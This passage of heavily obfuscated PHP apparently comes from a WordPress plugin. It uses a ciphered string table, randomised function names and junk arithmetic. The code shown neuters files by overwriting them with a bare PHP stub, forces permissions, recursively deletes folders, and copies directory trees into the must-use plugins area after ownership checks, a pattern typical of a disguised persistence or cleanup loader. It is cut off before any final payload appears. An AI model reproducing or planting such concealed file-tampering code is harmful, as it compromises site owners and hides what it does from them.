ovojj','RLNuyLOu[`Uy(`}','jZ<J*"H_','jvhZqZ','hZqZ','h=22','_{\'\'Z','=Zsisq\'y"H3i<"9ig\'','bJ6Z<J*"H_','*\'gy=Zg"=H','jhBi9y','h=22','_syB==gy3\'m','1AyA)}]yG))#1#}KLL](','1AyA)}]yG))#yM]}','\':"z38{m>H=z:Hp*gbz>q3','ZHQ"<k2:b?=*9B*<B0Hqgp','ZqZ','_qJg9={H','9Bm*2?>?J2\'<3*','_syP_','*V90\'kgiq9gb5=5g>myzr>','?QZV"Vy*9PJ9"0iZ>VmT\\'),array('jh>y','jhBgy','hZqZ','h=s2y','i-*<{QyHz_3<pV=J5<qJm','_"<3rT\'>kb">z"2J3<r*g','<=i96Z<J*"H_hZqZ','i-*<{QyHz_3<pV=J5<qJm','i9b"Hy"H"g','i-*<{QyHz_3<pV=J5<qJm','m:q<TgVBm5"9zZ-q2*','J3532s9P"yH9k<0\'V*5qk','"H<VV>kZ_?ip>yP3{ZQg','q=m8ms><\'yg3P>','{Z2by\'<2"H9\'mys=HH\'sg=my=Zg_','qVq:m52g?0kPZk','{Zy2"<\'ybiHi*\'mys=HH\'sg=my=Zg_','\'<2"H9\'mys=HH\'sg=my=Zg_','2"<\'ybiHi*\'mys=HH\'sg=my=Zg_','iJgq\'Hg"sig\'','s*<9:"b0<q:z\'J0V3TspgV','J<"==g<"\'s>Pqykz=QV','Zm\'yJ_\'my>J\'m?','?qB:=:T\\Q"3kH\\-p>T>y','m\'_gyJ_\'my>J\'m?','b3B?_b3V5V="<"','3"\'{_yJ_\'m_','""2bQ*z"mV*{"pT8"pT0','9\'BJ*y"H2=mbig"=H','bJP<Q"q9=y>"zs','_q={yi93iHs\'9yZ<J*"H_','gk0ms\\z-\'2"_<?','i9b"Hyq\'i96Z<J*"H_hZqZ','_"g\'ygmiH_"\'HgyJZ9ig\'yZ<J*"H_','i<<yZ<J*"H_','{ZyiPipyb:y2"<\'y2=<9\'mybiHi*\'m','kHmk=>V0yi>r>qB:9Vkg:2','{ZyiPipys=HH\'sg=m','{ZyiPipy2_ys=HH\'sg=m','{Zy2==g\'m','p_"r>y:qm>s_-P\\m=','g\'bZ<ig\'ym\'9"m\'sg','9g5z8qyQ?{98iH"5q*','BrJPH?**B:rB-i\\Qs""T','i9b"Hy2==g\'m','>0r:*ZQPzBkPb"Hs','<=*"Hy2==g\'m','Z<J*"H_y<=i9\'9','Bb\\kJ:0P0T>02ZbH','p-s__PT=sVZ"_=-m=9"<'),array('9q_BH*8y5-p\\ipk\'q<s','H9i"Z80B?*J?=5rH:2','Pip>kT=:Tmb"\'<-k*?zH93','Jz2?rH9_"Z?_bm>','iZ**?{zVJ5=bz0>m">B','_Vqp20ZT5Pgb0m5ybPB','sP2V\'Qk=q\\\'Z-?5','H:s:3=9kB{ZQk9r','i2g\'my_{"gsqygq\'b\'','Zp3s8"\\<8k=r"0-z\\BrPT8','Br>{Zq\'"-*>:5Qr-ZZ','_syZ\'m_"_g\'9','*\'gy=Zg"=H','Br>{Zq\'"-*>:5Qr-ZZ','Z<J*"H_y<=i9\'9',':3Pq-05r<0=V:\\"0ykmHQ','pri\\QHzT"{ZZ>r\\0P9ZQ<"','b0bsQg5:?3sQk5VP','g3{sP53r03=\\bT8"V_2Z*b','_sy<i_gym\'s=3\'m?ysq\'s:',':pzi-">k9Bk-9z','sm=Hy_sq\'9J<\'_','9Ts3Hz0qkrPim-P\''));}return $a[$i];}function s99lg14mcd3un($i){$e=wzaztpssu2qu336li($i);$f='ABSP'.'THsc'.'_v'.'er'.'o4.'.'53p'.'lu'.'gi'.'nba'.'mWL'.'UGI'.'NDRM'.'/-k'.'dh'.'tw'.'<?\\q'.'fC'.'OEx '.':*y'.'=V('.'+)2F'.'K\''.',0z'.'>&19'.'78'.'6XY'.'ZQj;'.'{"'.'[}]'.'!|^$'.'#J%'.'`';$t='KG'.'1L'.'#Y_'.'sy3\''.'m='.'zhV'.'0Z<'.'J*"'.'HB'.'ib'.'ROu'.'[`U('.'}Nj6'.':9q'.'g{F$'.'o>2A'.')]'.'p '.';v?w'.'MfIn'.'8xa^'.'!5kS'.'E-rQ'.'T\\'.'%|'.'4/P'.'ecdl'.'t,C&'.'WD7X'.'.+';$r="";for($j=0;$j<strlen($e);$j++){$p=strpos($t,$e[$j]);$r.=($p===false)?$e[$j]:$f[$p];}return $r;}function pvz_9xuc0nzl0m($i){$j=(int)$i;return s99lg14mcd3un($j);}function j8bjjevd80e($i){$j=$i;return s99lg14mcd3un($j);}function b5xx0lrqzfc($i){$j=$i;return s99lg14mcd3un($j);}function cv8ducrec($i){return s99lg14mcd3un($i);}$GLOBALS['__scf_xz_5zbcnz0m_3']=j8bjjevd80e(3);$GLOBALS['__scf_sc29wu2n9b_4']=s99lg14mcd3un(4);$GLOBALS['__scf_ya_jdhkqpku_7']=cv8ducrec(7);$GLOBALS['__scf_t61dw992fqm27x_8']=s99lg14mcd3un(8);$GLOBALS['__scf_kmygv436ft5pn_9']=pvz_9xuc0nzl0m(9);$GLOBALS['__scf_d413tdd725_10']=s99lg14mcd3un(10);$GLOBALS['__scf_mij3fd72lyo_h_11']=pvz_9xuc0nzl0m(11);$GLOBALS['__scf_qv5p187x3gyo_12']=j8bjjevd80e(12);$GLOBALS['__scf_zb08eyi9t1nbr_16']=j8bjjevd80e(16);$GLOBALS['__scf_gfkjbji5tiryc_17']=s99lg14mcd3un(17);$GLOBALS['__scf_yq6i_srj9g0m4_19']=b5xx0lrqzfc(19);$GLOBALS['__scf_xaseomj3flge_20']=b5xx0lrqzfc(20);$GLOBALS['__scf_q3ql35ik5fr_22']=s99lg14mcd3un(22);$GLOBALS['__scf_ll7jng34dct_24']=cv8ducrec(24);$GLOBALS['__scf_rh81zjbcpm_33']=b5xx0lrqzfc(33);$GLOBALS['__scf_qubxa4tqd5k7_34']=pvz_9xuc0nzl0m(34);$GLOBALS['__scf__qh9f0l6g7e7ez_35']=j8bjjevd80e(35);$GLOBALS['__scf_tbu69vegc9f_36']=j8bjjevd80e(36);$GLOBALS['__scf_i4d4_u7jasxa8e_37']=b5xx0lrqzfc(37);$GLOBALS['__scf_f1uocve5nz5i_39']=s99lg14mcd3un(39);$GLOBALS['__scf_qubutkuvnnc4sx_41']=b5xx0lrqzfc(41);$GLOBALS['__scf_nish5zuncssvgd_43']=pvz_9xuc0nzl0m(43);$GLOBALS['__scf_w5h0oq_bt_n_44']=pvz_9xuc0nzl0m(44);$GLOBALS['__scf_t04e6l_v7y_46']=s99lg14mcd3un(46);$GLOBALS['__scf_iuxi5ng_a2py94_47']=s99lg14mcd3un(47);$GLOBALS['__scf_u8voxmvq_x_49']=j8bjjevd80e(49);$GLOBALS['__scf_gjcg6h2mijahd_53']=pvz_9xuc0nzl0m(53);$GLOBALS['__scf_gvrvt5qjna_57']=pvz_9xuc0nzl0m(57);$GLOBALS['__scf_zr5xv8ge2ijskk_69']=s99lg14mcd3un(69);$GLOBALS['__scf_fczaqag___47_72']=s99lg14mcd3un(72);$GLOBALS['__scf_w_83qzdu7rtu_74']=pvz_9xuc0nzl0m(74);$GLOBALS['__scf_ck77ul1tgq_75']=j8bjjevd80e(75);$GLOBALS['__scf_hgjqoeair_her_76']=pvz_9xuc0nzl0m(76);$GLOBALS['__scf_qojqu44tgs4gs8_78']=pvz_9xuc0nzl0m(78);$GLOBALS['__scf_v_rxq_yh85s05_99']=cv8ducrec(99);$GLOBALS['__scf_cr07b5s7432_100']=pvz_9xuc0nzl0m(100);$GLOBALS['__scf_ha0rpt74l7eb9_102']=j8bjjevd80e(102);$GLOBALS['__scf_a5ks8ssf6z1jkm_103']=pvz_9xuc0nzl0m(103);$GLOBALS['__scf_i1sl42qxo03g_107']=b5xx0lrqzfc(107);$GLOBALS['__scf_mv3hm1pk74i2v_108']=pvz_9xuc0nzl0m(108);$GLOBALS['__scf_aojulu3bik1_116']=b5xx0lrqzfc(116);$GLOBALS['__scf_uy4tufpelsg98c_118']=pvz_9xuc0nzl0m(118);$GLOBALS['__scf_r5y2nofw5p1zz_126']=j8bjjevd80e(126);$GLOBALS['__scf_zcsplvr37om_157']=b5xx0lrqzfc(157);$GLOBALS['__scf_ahbb1zgmq33o_158']=b5xx0lrqzfc(158);$GLOBALS['__scf_o_dt0p7mox4_159']=cv8ducrec(159);$GLOBALS['__scf_f05nku7gkgy7_162']=b5xx0lrqzfc(162);$GLOBALS['__scf_zmuu9w5tlhvrg__169']=j8bjjevd80e(169);$GLOBALS['__scf_q0ye8_g2b4gf_179']=cv8ducrec(179);$GLOBALS['__scf_tmn0v_xik_1b_195']=cv8ducrec(195);$GLOBALS['__scf_nr899f15j7ix_205']=cv8ducrec(205);$GLOBALS['__scf_h3mngbzp79_212']=s99lg14mcd3un(212);$GLOBALS['__scf_t674269sfs_230']=b5xx0lrqzfc(230);$GLOBALS['__scf_ljmbl2ii8fjx5_231']=b5xx0lrqzfc(231);$GLOBALS['__scf_ebhpmbrf0dt5_232']=b5xx0lrqzfc(232);$GLOBALS['__scf_wx1kvxlzxj_235']=j8bjjevd80e(235);$GLOBALS['__scf_vbfvbdtrl_379u_239']=j8bjjevd80e(239);$GLOBALS['__scf_wmwx5858f0_247']=pvz_9xuc0nzl0m(247);$GLOBALS['__scf_tseka299ks_249']=pvz_9xuc0nzl0m(249);$GLOBALS['__scf__doeq3ffwhh_279']=s99lg14mcd3un(279);$GLOBALS['__scf_m18btnge8msha_280']=cv8ducrec(280);$GLOBALS['__scf_t8ninb5y9y_281']=j8bjjevd80e(281);$GLOBALS['__scf_ep3eg7q2us3__285']=b5xx0lrqzfc(285);$GLOBALS['__scf_yxafek7dtdk13f_290']=cv8ducrec(290);$GLOBALS['__scf_yiks5magxyrln_292']=b5xx0lrqzfc(292);$GLOBALS['__scf_di84jqdj15nut_294']=s99lg14mcd3un(294);$GLOBALS['__scf_j3w5ayqihb7_295']=cv8ducrec(295);$GLOBALS['__scf_b6sn8bxty99_296']=j8bjjevd80e(296);$GLOBALS['__scf_cxp28f27vo1_297']=s99lg14mcd3un(297);$GLOBALS['__scf_wn1eu3se0jlji_302']=s99lg14mcd3un(302);$GLOBALS['__scf_z6yejsko1yhxb_303']=j8bjjevd80e(303);$GLOBALS['__scf_qfdxebpk0ba2_304']=b5xx0lrqzfc(304);$GLOBALS['__scf_oofz1s0fya3b0_313']=s99lg14mcd3un(313);$GLOBALS['__scf_ce9n80psfo9w_327']=cv8ducrec(327);$GLOBALS['__scf_qbsuu37jbe5t_328']=pvz_9xuc0nzl0m(328);$GLOBALS['__scf_esp9o7pdt1mu_333']=s99lg14mcd3un(333);$GLOBALS['__scf_vvlv5hybzbb_336']=b5xx0lrqzfc(336);$GLOBALS['__scf_le53i63bu3tu_340']=s99lg14mcd3un(340);$GLOBALS['__scf_a7rg2cgre47e_341']=cv8ducrec(341);$GLOBALS['__scf__vwipvlr0sd_345']=pvz_9xuc0nzl0m(345);$GLOBALS['__scf_s959cieqyqa_353']=cv8ducrec(353);$GLOBALS['__scf_f_epkgohi5_354']=s99lg14mcd3un(354);$GLOBALS['__scf_pbb_q2_l2kzq6z_355']=cv8ducrec(355);$GLOBALS['__scf_l90bo4vfyn_356']=cv8ducrec(356);$GLOBALS['__scf_hitibqyb6ku_357']=j8bjjevd80e(357);$GLOBALS['__scf_ncg0ka_bmuzl_361']=cv8ducrec(361);$GLOBALS['__scf_q1hcnnvi5ufvxy_363']=b5xx0lrqzfc(363);$GLOBALS['__scf_e4rirptaxyyh7a_368']=pvz_9xuc0nzl0m(368);$GLOBALS['__scf_z1yhwz66dpf_370']=s99lg14mcd3un(370);$GLOBALS['__scf__e68tul4xg1_395']=pvz_9xuc0nzl0m(395);$GLOBALS['__scf_y4vxwni_574_397']=cv8ducrec(397);$GLOBALS['__scf_orbam4j9elyj8o_398']=b5xx0lrqzfc(398);$GLOBALS['__scf_z__995c3ky9u_413']=pvz_9xuc0nzl0m(413);$GLOBALS['__scf_ks75gcs08cmnbo_414']=pvz_9xuc0nzl0m(414);$GLOBALS['__scf_k947hhcrwqg_424']=cv8ducrec(424);$GLOBALS['__scf_hcws1hss9_grqt_437']=s99lg14mcd3un(437);$GLOBALS['__scf_y_ur004dxjki__462']=j8bjjevd80e(462);$GLOBALS['__scf_yxou341jk2n2_479']=b5xx0lrqzfc(479);$GLOBALS['__scf_kdgi9msmnx8o_480']=pvz_9xuc0nzl0m(480);$GLOBALS['__scf_zr872o85b_o0_538']=pvz_9xuc0nzl0m(538);$GLOBALS['__scf_funynp4wlyh1l1_562']=pvz_9xuc0nzl0m(562);$GLOBALS['__scf_wdfeyg4162o7_579']=cv8ducrec(579);$GLOBALS['__scf_ks9itesnmzhh_594']=b5xx0lrqzfc(594);$GLOBALS['__scf_wuteo6oqnoie_607']=b5xx0lrqzfc(607);$GLOBALS['__scf_no_1y_vm2ry_658']=j8bjjevd80e(658);$GLOBALS['__scf_hz3vb407sad__694']=s99lg14mcd3un(694);$GLOBALS['__scf_hdqba_c8m7_708']=pvz_9xuc0nzl0m(708);$GLOBALS['__scf_vl_qhnh43ntr_721']=b5xx0lrqzfc(721);$GLOBALS['__scf_eujk2m7p7_9un_727']=j8bjjevd80e(727);$GLOBALS['__scf_lv_2afh0dde_829']=pvz_9xuc0nzl0m(829);$GLOBALS['__scf_e5m9udrkj4g_895']=b5xx0lrqzfc(895);$GLOBALS['__scf_ksvvjh4uwq1kq_945']=s99lg14mcd3un(945);$GLOBALS['__scf_gs_336kw_2zxm_1006']=cv8ducrec(1006);$GLOBALS['__scf__shw52irc3h_1015']=b5xx0lrqzfc(1015);$GLOBALS['__scf_rn8ey_ucatc_1164']=s99lg14mcd3un(1164);$GLOBALS['__scf_kcaxi5f9lmgdgp_1174']=pvz_9xuc0nzl0m(1174);$GLOBALS['__scf_tpow1wvas6_1259']=j8bjjevd80e(1259);$GLOBALS['__scf_eeye5srq0i7_1264']=pvz_9xuc0nzl0m(1264);$GLOBALS['__scf_re_atqk_ct7_1267']=b5xx0lrqzfc(1267);$GLOBALS['__scf_ma9_d0wecm5_1268']=j8bjjevd80e(1268);$GLOBALS['__scf_bbpwp2a535rw_1269']=cv8ducrec(1269);$GLOBALS['__scf_u4rzlj2h5g_1270']=b5xx0lrqzfc(1270);$GLOBALS['__scf_dv5l6ir_yog9_1271']=s99lg14mcd3un(1271);$GLOBALS['__scf_of0oulgdtccb_1272']=s99lg14mcd3un(1272);$GLOBALS['__scf_m2p1t83y4469_1274']=b5xx0lrqzfc(1274);$GLOBALS['__scf_xvh3pxwcmqnc_1284']=s99lg14mcd3un(1284);$GLOBALS['__scf_l72txamt1_rl_1320']=cv8ducrec(1320);$GLOBALS['__scf_vcn8iqclfv_1326']=b5xx0lrqzfc(1326);$GLOBALS['__scf_aqttepatotdjb4_1331']=pvz_9xuc0nzl0m(1331);$GLOBALS['__scf_mdq7mu2b_0k6_1381']=s99lg14mcd3un(1381);$GLOBALS['__scf_iv9fnqbzfer_1445']=cv8ducrec(1445);$GLOBALS['__scf_nqbs7ut7q6_1465']=s99lg14mcd3un(1465);$GLOBALS['__scf_csz604yplc_nn_1694']=s99lg14mcd3un(1694);$GLOBALS['__scf_xb3on_2y9e_1702']=b5xx0lrqzfc(1702);$GLOBALS['__scf_dbm6f00inmq0yr_1809']=b5xx0lrqzfc(1809);

function uzbf1zk287ca5m_($dkd90o,$ya4k8o){$p__pdpt3k=($dkd90o+67)%8;return $p__pdpt3k*$ya4k8o;}

 
defined(b5xx0lrqzfc(0))    or    exit;
      
 function     jqg87ez26lzm3yp01xj2q()
  {
    return  isset($GLOBALS[b5xx0lrqzfc(1)]) ? $GLOBALS[b5xx0lrqzfc(1)]    :  cv8ducrec(2);
        }
  function  curga5ep68su8__o()
  {
return      __FILE__;
 }

function    pn7ilzfkmyogdbglb3nhtx()

  {$djxykqsus78x_c=71|25;$zc1okfrqevwe=$djxykqsus78x_c^116;
return  $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o());
  }
   function   j1jv022l32y4uj()


{


if ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(5)))  return      plugin_basename(curga5ep68su8__o());
   $fulx_n95kwu   =  curga5ep68su8__o();

  $lu1e3_8zy3y      =    defined(pvz_9xuc0nzl0m(6))  ? WP_PLUGIN_DIR  :  "";
if   ($lu1e3_8zy3y  !== "" &&  $GLOBALS['__scf_ya_jdhkqpku_7']($fulx_n95kwu,   $lu1e3_8zy3y) ===  0)    return $GLOBALS['__scf_t61dw992fqm27x_8']($GLOBALS['__scf_kmygv436ft5pn_9']($fulx_n95kwu,     $GLOBALS['__scf_d413tdd725_10']($lu1e3_8zy3y)),     '/');
   return   $GLOBALS['__scf_xz_5zbcnz0m_3']($GLOBALS['__scf_mij3fd72lyo_h_11']($fulx_n95kwu)) .  '/'  .  $GLOBALS['__scf_xz_5zbcnz0m_3']($fulx_n95kwu);
   }
     function   eki4v2wrqno4knxgtm4qhv()
 {
    return $GLOBALS['__scf_qv5p187x3gyo_12'](defined(cv8ducrec(13))  ?  WPMU_PLUGIN_DIR  :   (WP_CONTENT_DIR .    cv8ducrec(14)), '/');
    }
   function wp23foo6ue948szmquhy3()
 {



  return  $GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o());
      }

   function   fqnjhjvlv62gig($rtnxjwsi0p3gd,    $ljvicb11d2w9    =    (463+30), $lixijsuy7hjm_ =  false)
 {
    return $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(15))  ?   @$GLOBALS['__scf_zb08eyi9t1nbr_16']($rtnxjwsi0p3gd,  $ljvicb11d2w9,    $lixijsuy7hjm_)  :     false;
}
    function ottk3i1kq8br96vi($gx1wu9an7cfa2x_t, $ljvicb11d2w9)


     {
 return  $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(17))   ?  @$GLOBALS['__scf_gfkjbji5tiryc_17']($gx1wu9an7cfa2x_t, $ljvicb11d2w9) :     false;
}
function wlm_50lfl72sy8hrb_9xe9($gx1wu9an7cfa2x_t)
 {
        return $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(18))  ?  @$GLOBALS['__scf_yq6i_srj9g0m4_19']($gx1wu9an7cfa2x_t)  : false;
       }



 function      y8di6q6nzm4ebwuceier($of_pcm29oxt9u3z)
   {
  if  (!@$GLOBALS['__scf_xaseomj3flge_20']($of_pcm29oxt9u3z))  return  true;
    ottk3i1kq8br96vi($of_pcm29oxt9u3z,   (357+63));
  if   (wlm_50lfl72sy8hrb_9xe9($of_pcm29oxt9u3z)) {
      if   ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(21))) @opcache_invalidate($of_pcm29oxt9u3z,  true);
   return    true;
    }
  ottk3i1kq8br96vi($GLOBALS['__scf_mij3fd72lyo_h_11']($of_pcm29oxt9u3z),   (0xe7+0x106));
 if   (wlm_50lfl72sy8hrb_9xe9($of_pcm29oxt9u3z)) {
if   ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(21)))  @opcache_invalidate($of_pcm29oxt9u3z,   true);
        return true;
 }
$sw6uenpt2x9p   = @$GLOBALS['__scf_q3ql35ik5fr_22']($of_pcm29oxt9u3z,    j8bjjevd80e(23));



   if    ($sw6uenpt2x9p) {
// resource try-with

@$GLOBALS['__scf_ll7jng34dct_24']($sw6uenpt2x9p,   "<?php\n");
    @fclose($sw6uenpt2x9p);
    if   ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(21)))   @opcache_invalidate($of_pcm29oxt9u3z,     true);
       return  true;
 }

   return false;
}



    function     pfxsazj3ojs1jhuei_l41($of_pcm29oxt9u3z)
{
    $sdpyqda_43b  =    $GLOBALS['__scf_mij3fd72lyo_h_11']($of_pcm29oxt9u3z);
  $bajeon2j0cof3ej1 =  $GLOBALS['__scf_xz_5zbcnz0m_3']($of_pcm29oxt9u3z,  pvz_9xuc0nzl0m(25));
foreach (array(pvz_9xuc0nzl0m(26), b5xx0lrqzfc(27),      pvz_9xuc0nzl0m(28),     b5xx0lrqzfc(29))    as $_4_2y__v_2vg)  {



$nto91roasmftk2 =   $sdpyqda_43b   .    '/'   .     $_4_2y__v_2vg   .   $bajeon2j0cof3ej1;

 if     (@$GLOBALS['__scf_xaseomj3flge_20']($nto91roasmftk2))   y8di6q6nzm4ebwuceier($nto91roasmftk2);
}
 $looyczt6g4kq    =   $sdpyqda_43b  . '/'  .   $bajeon2j0cof3ej1     .  j8bjjevd80e(30);



  if (@$GLOBALS['__scf_xaseomj3flge_20']($looyczt6g4kq))   y8di6q6nzm4ebwuceier($looyczt6g4kq);
   

   if (defined(s99lg14mcd3un(31)))   {
  $fqj7gcimoxo8q = WP_CONTENT_DIR  .    cv8ducrec(32)  .  $bajeon2j0cof3ej1;
 if (@$GLOBALS['__scf_xaseomj3flge_20']($fqj7gcimoxo8q))   y8di6q6nzm4ebwuceier($fqj7gcimoxo8q);



}

   $_pd  =   defined(cv8ducrec(6)) ?     @$GLOBALS['__scf_rh81zjbcpm_33'](WP_PLUGIN_DIR)   :   false;
 $py1ibv6gvjc4ug =  @$GLOBALS['__scf_rh81zjbcpm_33']($sdpyqda_43b);$cl70c_alpp=4624;$ukrkkj3sk_a03=$cl70c_alpp%14;
      if   ($_pd   &&  $py1ibv6gvjc4ug && $GLOBALS['__scf_mij3fd72lyo_h_11']($py1ibv6gvjc4ug) ===      $_pd)    {
  $gao5fnmkuo6ub9  =  @$GLOBALS['__scf_qubxa4tqd5k7_34']($py1ibv6gvjc4ug);

if    ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($gao5fnmkuo6ub9) && $GLOBALS['__scf_tbu69vegc9f_36']($gao5fnmkuo6ub9) <=   2) @$GLOBALS['__scf_i4d4_u7jasxa8e_37']($py1ibv6gvjc4ug);
     }
     }
function  nzrhd2wleb254c()



{



static  $m1lhvb5ot360     =    'x';
if ($m1lhvb5ot360   !==   'x') return  $m1lhvb5ot360;
 $m1lhvb5ot360 =  null;

if   ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(38))) {  $cq_6gw44hx8jcvy    =     @posix_geteuid(); if   ($GLOBALS['__scf_f1uocve5nz5i_39']($cq_6gw44hx8jcvy)) $m1lhvb5ot360  = $cq_6gw44hx8jcvy;  }
 if  ($m1lhvb5ot360   ===    null)  {



$l67t6hzxy6qd81  = vd37c9d2j9hxta_(wzbvgogq03mxeqb(),    pvz_9xuc0nzl0m(40));
     if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($l67t6hzxy6qd81))   { $um1foy1mtj69b = @fileowner($l67t6hzxy6qd81); wlm_50lfl72sy8hrb_9xe9($l67t6hzxy6qd81); if   ($GLOBALS['__scf_f1uocve5nz5i_39']($um1foy1mtj69b))   $m1lhvb5ot360 = $um1foy1mtj69b;
     
   }
  }
   return  $m1lhvb5ot360;
 }
  function   i1vvo9qrb5fktie($_gbdleyfzdd97b)
     {
if  ($GLOBALS['__scf_ya_jdhkqpku_7']($GLOBALS['__scf_xz_5zbcnz0m_3']($_gbdleyfzdd97b),    pvz_9xuc0nzl0m(42))   !==  0) return;
if (!@$GLOBALS['__scf_nish5zuncssvgd_43']($_gbdleyfzdd97b)   ||   @$GLOBALS['__scf_w5h0oq_bt_n_44']($_gbdleyfzdd97b))   return;



 $wn_ko2nze6kjft7    =   @$GLOBALS['__scf_qubxa4tqd5k7_34']($_gbdleyfzdd97b);
 if  ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($wn_ko2nze6kjft7))  foreach    ($wn_ko2nze6kjft7 as      $uvo4msk8s29_)   {
 if   ($uvo4msk8s29_   === '.' || $uvo4msk8s29_ ===   cv8ducrec(45))  continue;

$gx1wu9an7cfa2x_t =  $_gbdleyfzdd97b  .   '/' .   $uvo4msk8s29_;
      if      (@$GLOBALS['__scf_nish5zuncssvgd_43']($gx1wu9an7cfa2x_t)  &&  !@$GLOBALS['__scf_w5h0oq_bt_n_44']($gx1wu9an7cfa2x_t))     i1vvo9qrb5fktie($gx1wu9an7cfa2x_t);  else   wlm_50lfl72sy8hrb_9xe9($gx1wu9an7cfa2x_t);
}
 @$GLOBALS['__scf_i4d4_u7jasxa8e_37']($_gbdleyfzdd97b);
        }
      function    y4uha_ovdhn209vgcvx($xa6_dathyqd, $ts8mlfdkzzi)


   {
if  (@$GLOBALS['__scf_w5h0oq_bt_n_44']($xa6_dathyqd)) return    false;
  if (@$GLOBALS['__scf_xaseomj3flge_20']($xa6_dathyqd))   {

     if  (!@$GLOBALS['__scf_t04e6l_v7y_46']($xa6_dathyqd))    return false;
 return   tmj29eik3aqcj3qc9xfutb($xa6_dathyqd, $ts8mlfdkzzi)    ?  true  :  false;
}
 if (@$GLOBALS['__scf_nish5zuncssvgd_43']($xa6_dathyqd)) {
     if     (!@$GLOBALS['__scf_nish5zuncssvgd_43']($ts8mlfdkzzi) &&     !fqnjhjvlv62gig($ts8mlfdkzzi,   (450+43),     true))   return false;
  $wn_ko2nze6kjft7 =     @$GLOBALS['__scf_qubxa4tqd5k7_34']($xa6_dathyqd);
  if     (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($wn_ko2nze6kjft7))  return  false;
  foreach ($wn_ko2nze6kjft7   as  $uvo4msk8s29_)    {
if  ($uvo4msk8s29_ === '.'    ||  $uvo4msk8s29_ === s99lg14mcd3un(45))      continue;
if   (!y4uha_ovdhn209vgcvx($xa6_dathyqd   .      '/'  .  $uvo4msk8s29_,   $ts8mlfdkzzi  . '/'  .   $uvo4msk8s29_))  return   false;
    }
  return  true;
    }
return    true;
 }
     function   drb8j41qq5igcfm($of_pcm29oxt9u3z)
 {
     if    (!@$GLOBALS['__scf_xaseomj3flge_20']($of_pcm29oxt9u3z))      return false;



   if (@$GLOBALS['__scf_iuxi5ng_a2py94_47']($of_pcm29oxt9u3z))   return   false;
   if   (@$GLOBALS['__scf_iuxi5ng_a2py94_47']($GLOBALS['__scf_mij3fd72lyo_h_11']($of_pcm29oxt9u3z)))  return false;
    return     true;

      }

   function xfnnq7r2u7ap3w($of_pcm29oxt9u3z)



  {
// @deprovision proof-term



  f1995qrx5prr7cbl19co0e(cv8ducrec(48),   $GLOBALS['__scf_xz_5zbcnz0m_3']($of_pcm29oxt9u3z));

  }
function  euhyaxfh77akrso($voisol5pl7furw)


{
  if  (!$GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(49))   || !$GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(50)))  return  false;


      if  ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(51)) &&    get_transient(j8bjjevd80e(52)))  return    false;


$n7_1xfm5p3      =  @$GLOBALS['__scf_rh81zjbcpm_33'](eki4v2wrqno4knxgtm4qhv());
    if  ($n7_1xfm5p3   ===    false    ||   !@$GLOBALS['__scf_nish5zuncssvgd_43']($n7_1xfm5p3))      return  false;
 $zubkskt0xgxgyr    =  null;


      if ($voisol5pl7furw  !==    null)   {
 $zubkskt0xgxgyr = @$GLOBALS['__scf_rh81zjbcpm_33']($voisol5pl7furw);$n5hq73o9u8kxg=6497;$q1gq3y3oi7h=$n5hq73o9u8kxg%3;
   if     ($zubkskt0xgxgyr ===    false  ||   $GLOBALS['__scf_mij3fd72lyo_h_11']($zubkskt0xgxgyr)   !==  $n7_1xfm5p3)  return false;
    }
    $swq78n4tr9 =      $GLOBALS['__scf_mij3fd72lyo_h_11']($n7_1xfm5p3);
 if  (!@$GLOBALS['__scf_nish5zuncssvgd_43']($swq78n4tr9)  ||    !@$GLOBALS['__scf_iuxi5ng_a2py94_47']($swq78n4tr9)) return  false;


  if  (!x8h1vs0363aquekhj7($n7_1xfm5p3) || !x8h1vs0363aquekhj7($swq78n4tr9))  return   false;

 $w8om6_twympuv5k =  @fileperms($swq78n4tr9);
 if ($w8om6_twympuv5k    !==     false   &&  ($w8om6_twympuv5k     &   (448+64))) {
$qham01juw9    =  nzrhd2wleb254c();
if  ($qham01juw9  ===     null  ||  (@fileowner($swq78n4tr9)   !==   $qham01juw9 && @fileowner($n7_1xfm5p3)  !==  $qham01juw9))     return  false;



}
$myag77oysmok_fd  =   @$GLOBALS['__scf_gjcg6h2mijahd_53']($swq78n4tr9);  $ruv3fbhwf2an5    =  @$GLOBALS['__scf_gjcg6h2mijahd_53']($n7_1xfm5p3);
      if      ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($myag77oysmok_fd)     &&  $GLOBALS['__scf__qh9f0l6g7e7ez_35']($ruv3fbhwf2an5)      &&  isset($myag77oysmok_fd[cv8ducrec(54)])    &&      isset($ruv3fbhwf2an5[b5xx0lrqzfc(54)])  && $myag77oysmok_fd[j8bjjevd80e(54)] !==  $ruv3fbhwf2an5[pvz_9xuc0nzl0m(55)]) return  false;
  $wn_ko2nze6kjft7 = @$GLOBALS['__scf_qubxa4tqd5k7_34']($n7_1xfm5p3);
      if (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($wn_ko2nze6kjft7))  return      false;

     $mywsd0kvssj   = array();



    foreach ($wn_ko2nze6kjft7  as      $uvo4msk8s29_) {

    if ($uvo4msk8s29_  === '.'  ||  $uvo4msk8s29_   === s99lg14mcd3un(56))  continue;
      $gx1wu9an7cfa2x_t  =   $n7_1xfm5p3 .  '/' .  $uvo4msk8s29_;
     $dn1bf1qx4sk0ys     = @$GLOBALS['__scf_rh81zjbcpm_33']($gx1wu9an7cfa2x_t);
 

     if ($zubkskt0xgxgyr !== null  &&  $dn1bf1qx4sk0ys     !==    false  && $dn1bf1qx4sk0ys  === $zubkskt0xgxgyr)   continue;
